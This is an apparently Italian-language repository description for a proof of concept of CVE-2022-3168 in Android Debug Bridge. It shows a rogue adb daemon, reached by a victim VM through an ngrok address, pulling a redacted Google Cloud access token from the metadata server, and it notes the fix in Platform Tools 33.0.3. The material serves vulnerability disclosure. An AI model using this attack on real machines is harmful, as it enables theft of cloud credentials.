irsl/cve-2022-3168-adb-unexpected-reverse-forwardsCodice proof of concept per sfruttare una vulnerabilità in adb che consentiva di aprire connessioni di rete sull'host verso destinazioni arbitrarie.
La funzionalità di reverse tunnel in Android Debug Bridge (adb) era vulnerabile in quanto consentiva a daemon adb dannosi di aprire connessioni verso host/porte arbitrarie e socket di dominio unix sull'host.
Finestra dell'attaccante (dove è in esecuzione il daemon rogue):
$ ./adb_rogue_daemon.py
Finestra della vittima (una VM GCE in questo esempio):
$ adb connect serverip:5556
connected to 8.tcp.ngrok.io:19076
Finestra dell'attaccante:
...
Wooho, we got response for our rouge request!
b'HTTP/1.0 200 OK\r\nMetadata-Flavor: Google\r\nContent-Type: application/json\r\nDate: Thu, 04 Nov 2021 22:31:21 GMT\r\nServer: Metadata Server for VM\r\nConnection: Close\r\nContent-Length: 1049\r\nX-XSS-Protection: 0\r\nX-Frame-Options: SAMEORIGIN\r\n\r\n{"access_token":"ya29.c.KpgBFghLV[redacted].....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................'
<<< b'...................................................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba'
b'...................................................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba'
('....', (774778414, 774778414, 774778414, 774778414, 774778414), b'...........................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba')
Questo problema è stato corretto in Platform Tools 33.0.3.